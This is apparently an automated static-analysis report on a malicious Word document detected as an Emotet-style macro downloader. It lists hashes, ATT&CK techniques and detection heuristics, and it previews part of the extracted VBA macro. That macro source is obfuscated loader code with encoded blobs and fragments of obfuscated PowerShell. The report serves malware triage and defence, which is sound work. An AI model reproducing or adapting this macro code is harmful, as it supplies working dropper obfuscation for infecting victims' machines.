Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fcb3ff38aaa8afa…

MALICIOUS

Office (OLE)

141.5 KB Created: 2018-03-22 07:05:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: a156cdf5158ccf6470839e3cdda529fe SHA-1: 773aeb37cf3b2b6dbae1f80142712736cb55e88d SHA-256: 3fcb3ff38aaa8afa7d46461d7b12d59dc2ac82e0c695d809f9ed4a0c3a3bc26a
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly indicate its malicious nature. The VBA script likely attempts to download and execute a second-stage payload, a common behavior for this type of malware.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42818 bytes
SHA-256: 345fab52bda2cd3ec2bd2b04b1006c19a6755afaddc7808308d10e1d27c3778a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 26 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XYwXHhSJzT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fQtJnwQXWlXXb"
Function vXtraVCRzJ()
On Error Resume Next
Select Case JsJfP
         Case 22649
            zXAcD = Hex(25850 - CSng(33135) - 74257 + ChrW(TuDFzF))
            FwjPP = mKwkzj
End Select
iVkKAlZChw = oUjzR("0w6BlAGEAMAA1ADgAZQAyADMAOABjADYANAAyADQAMgBhADMANAA4AGYANQA5A%3EuO8", 4, 59)
Select Case LwWufH
         Case 4502
            AGFQDr = Hex(47350 - CSng(24321) - 87627 + ChrW(FDiEhj))
            rRlqdT = imdUY
End Select
Select Case bmzJN
         Case 87880
            wPRfv = Hex(83481 - CSng(863) - 9802 + ChrW(fOOaS))
            OjjCNi = vtYKP
End Select
ZdwNzsTE = oUjzR("vYuInNQBiADAANAAzADUAZgA2ADUAYwBmADkAYwA5AGYAZgBhADMAYQBhADYAMgAwADAANAA3AGMANQA1AGIAMgA1AGMANQA2ADAANwA0ADMAYQA3ADS,", 6, 110)
Select Case wLcnsi
         Case 67694
            WjziJE = Hex(89887 - CSng(96764) - 29705 + ChrW(jopYQ))
            LjTtT = HlcYJ
End Select
Select Case kWGzEd
         Case 7033
            zKOuo = Hex(67024 - CSng(6066) - 23091 + ChrW(mrUfI))
            GVDjX = qtnoPZ
End Select
mdtzv = oUjzR("KAArTzBh", 2, 2)
Select Case nfpuR
         Case 13180
            YPHBj = Hex(69453 - CSng(17574) - 61944 + ChrW(nrEcQ))
            cBujZ = QbGZJ
End Select
Select Case JPdooI
         Case 85821
            MfMrLL = Hex(4076 - CSng(95932) - 30249 + ChrW(tWpKG))
            BYNzP = wRBlCc
End Select
bRhjmZKwVC = oUjzR("rja6BAZAAwAGUANgBkADUANwA4AGYAZQBkAGEANQBhAGMAYQBmAGYAOAA2ADkANwAwAGEAYwBiADcANQAxAGMAYwBkAGQAOQBjADAAYgA5AGIAMwBjAVN", 6, 110)
Select Case rTnZL
         Case 32214
            qUOSqp = Hex(96229 - CSng(61078) - 30651 + ChrW(owIWnQ))
            sQbjvq = JZoXjF
End Select
Select Case qwFAtB
         Case 7467
            DMzHW = Hex(93053 - CSng(46388) - 53866 + ChrW(zkDmQs))
            bBBzq = iWUjX
End Select
wVsrhIzwi = oUjzR("n2W%vlADcAZQA4ADIAZgBiAGUAMwBhADQAMgA0AGUAMQA5ADgANwA3AGEAMQBiADYAYwBhADEANgAwAGIAOAAxADUAMQBjAGEAMwA5AGIAZgA5ADYAMQAzADkAOABiADMANQBhADAAYQAwAGGE", 6, 139)
Select Case dEGTw
         Case 16430
            fcFuvD = Hex(20289 - CSng(99912) - 48534 + ChrW(uJZEoY))
            AEVwda = pYEwvr
End Select
Select Case ZmwvjC
         Case 12951
            uKBoEj = Hex(57391 - CSng(78921) - 88311 + ChrW(PzjKKW))
            tBbbVQ = nAYZu
End Select
WAXLiwKb = oUjzR("iI%q,170,243,41,11,131,125,249,13,228,253,194,164,105,216,102,86,140,109,33,107,74,45,150,119,163,175,195,236,220,20tH0", 5, 112)
Select Case ijwPo
         Case 76148
            NXRHB = Hex(23944 - CSng(86063) - 46139 + ChrW(tObaHn))
            fKZtf = EHEur
End Select
Select Case szOZS
         Case 10778
            zXGUV = Hex(22620 - CSng(91070) - 61139 + ChrW(iupLm))
            ERPouR = qZJRhO
End Select
tdjiZwwb = oUjzR("cNwA1ADgAZQBlAGUAYQA3ADYANABlAGIAYQBlADMANQA1AGQANwBlADkANQBlADAAYgA4ADQAYwBiADkAZgA1AGEAZABjAGQAYgA1ADAAMAA5ADEAZgAxAGIAYgAyADcAMABiAGIANgA2ADEAAan@wA", 2, 144)
Select Case ijifuJ
         Case 10182
            uhPWn = Hex(31123 - CSng(94121) - 22908 + ChrW(ViQtwK))
            LDUjjK = ijCpw
End Select
Select Case ilNrW
         Case 17189
            TWYhs = Hex(61634 - CSng(22880) - 90381 + ChrW(mYPEjU))
            AJPZdi = dQJGGN
End Select
dmdwaUTio = oUjzR("b3lcE)[1,3]+'X'-jOiN'')jIkQ", 4, 20)
Select Case vifbZQ
         Case 44833
            rLqKvY = Hex(45811 - CSng(66720) - 53578 + ChrW(OtMhGj))
            kduRjZ = hoqqj
End Select
Select Case hurAXu
         Case 71387
            injGjX = Hex(28100 - CSng(10540) - 10005 + ChrW(MQMth))
            ElDUQV = BSQjT
End Select
RfiFwtqhRd = oUjzR("94,248))))|. ( ([STRINg]$VErBOsEPREfErEn684vMid", 2, 39)
Select Case crswb
         Case 74328
            PElab = Hex(52448 - CSng(65236) - 11133 + ChrW(ScnNu))
            mrQaI
... (truncated)

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